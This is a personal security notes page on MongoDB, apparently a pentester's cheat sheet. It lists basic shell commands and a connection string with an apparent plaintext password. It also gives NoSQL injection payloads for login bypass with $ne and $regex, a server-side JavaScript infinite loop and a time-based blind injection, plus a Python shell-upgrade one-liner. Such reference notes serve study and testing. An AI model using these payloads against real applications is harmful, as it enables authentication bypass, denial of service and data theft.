akde/infosec

Information security is ultimately about managing risk


Con­nect from the com­mand line

mongo 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace'

Show data­bas­es

show dbs

Switch to database

use <db>

Show all col­lec­tions (“tables”)

show collections

Show all entries from a collection

db.<collection>.find()

Add a document

db.products.insert( { item: "card", qty: 15 } )

Injections

Show all records of the cur­rent table, assum­ing there is a WHERE clause for one field.

' || 'a'=='a

Instead of an parameter

password=wrongpassword

use instead the negation

password[%24ne]=wrongpassword

Inter­est­ing case: With­in a where state­ment (which should be avoid­ed in Mon­goDB) we can exe­cute JS code — on the server!)

'; while(1);var foo='bar

Tools

Links

Blind injec­tion

https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

Wenn man keine Aus­gabe hat, kann man Infor­ma­tio­nen auch durch die Zeit herausbringen:

?login=user&password=’; if (db.version() > “2”) { sleep(10000); exit; } var loginn =1; var b=‘2

Tricks

  • Mit param[$ne] kann man auf Ungle­ich­heit testen.
  • Mit param[$regex] kann man eine Reg­exp ein­fü­gen. Z.B. Länge eines Pass­worts testen mit password[$regex]=^.…..$

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';